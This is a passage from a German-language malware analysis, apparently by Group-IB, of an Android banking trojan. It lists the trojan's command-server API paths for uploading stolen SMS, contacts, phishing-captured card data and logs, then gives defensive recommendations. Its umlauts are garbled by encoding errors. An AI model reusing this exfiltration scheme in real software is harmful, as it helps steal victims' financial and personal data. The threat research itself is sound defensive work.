}Als Antwort sendet der Server eine SOCKS5-Nachricht, die die Adresse des entfernten Servers enthĂ€lt, mit dem eine Verbindung hergestellt werden muss. Die Interaktion mit diesem Server erfolgt ĂŒber die Klasse end. Die Verbindung kann schematisch wie folgt dargestellt werden:

Netzwerkinteraktionen
Um die Analyse des Datenverkehrs durch Netz-Sniffer zu verhindern, kann die Interaktion zwischen dem CnC-Server und der Anwendung ĂŒber das SSL-Protokoll geschĂŒtzt werden. Alle ĂŒbermittelten Daten, sowohl vom Server als auch zum Server, werden im JSON-Format bereitgestellt. Die Anwendung fĂŒhrt im Verlauf ihrer Arbeit folgende Anfragen aus:
- http:///api/v1/set_state.php â Ergebnis der BefehlsausfĂŒhrung.
- http:///api/v1/get.php â Befehlserhalt.
- http:///api/v1/load_sms.php â Abruf von SMS-Nachrichten vom infizierten GerĂ€t.
- http:///api/v1/load_ab.php â Abruf der Kontaktliste vom infizierten GerĂ€t.
- http:///api/v1/aevents.php â Anfrage erfolgt bei der Aktualisierung der Parameter, die sich in der Preference-Datei befinden.
- http:///api/v1/set_card.php â Abruf von Daten, die ĂŒber ein Phishing-Fenster erlangt wurden, das sich als Google Play Market tarnt.
- http:///api/v1/logs.php â Abruf der Log-Daten.
- http:///api/v1/records.php â Abruf von Daten, die ĂŒber Phishing-Fenster erlangt wurden.
- http:///api/v1/set_error.php â Benachrichtigung ĂŒber einen aufgetretenen Fehler.
Empfehlungen
Um ihre Kunden vor der Bedrohung durch mobile Trojaner zu schĂŒtzen, mĂŒssen Unternehmen umfassende Lösungen einsetzen, die es ermöglichen, bösartige AktivitĂ€ten ohne Installation zusĂ€tzlicher Software auf den BenutzergerĂ€ten zu verfolgen und zu verhindern.
Zu diesem Zweck sollten die signaturbasierten Methoden zur Erkennung mobiler Trojaner durch Verhaltensanalysetechniken sowohl des Clients als auch der Anwendung verstĂ€rkt werden. Der Schutz sollte auch die Funktion zur Identifizierung von GerĂ€ten mit Hilfe von Fingerprint-Technologie umfassen, um zu erkennen, wann ein Konto von einem untypischen GerĂ€t verwendet wird und bereits in die HĂ€nde eines BetrĂŒgers gefallen ist.
Ein grundlegend wichtiger Punkt ist die Möglichkeit einer kanalĂŒbergreifenden Analyse, die es Unternehmen ermöglicht, die Risiken zu kontrollieren, die nicht nur auf der Website, sondern auch im mobilen Bereich auftreten, zum Beispiel in mobilen Banking-Anwendungen, bei KryptowĂ€hrungstransaktionen und in allen anderen Anwendungen, in denen finanzielle Transaktionen durchgefĂŒhrt werden.
Sicherheitsregeln fĂŒr Benutzer:
- Installieren Sie keine Anwendungen fĂŒr mobile GerĂ€te mit dem Betriebssystem Android aus irgendwelchen Quellen auĂer Google Play und achten Sie besonders auf die vom Programm angeforderten Berechtigungen;
- Aktualisieren Sie regelmĂ€Ăig das Betriebssystem Android;
- auf Dateierweiterungen geachtet werden;
- keine verdÀchtigen Ressourcen besuchen;
- nicht auf Links klicken, die in SMS-Nachrichten erhalten wurden.
Unter Beteiligung Rogachev-Samen, Junior-Spezialist fĂŒr Malware-Forschung im Labor fĂŒr Computerkriminalistik Group-IB.
Quelle: habr.com
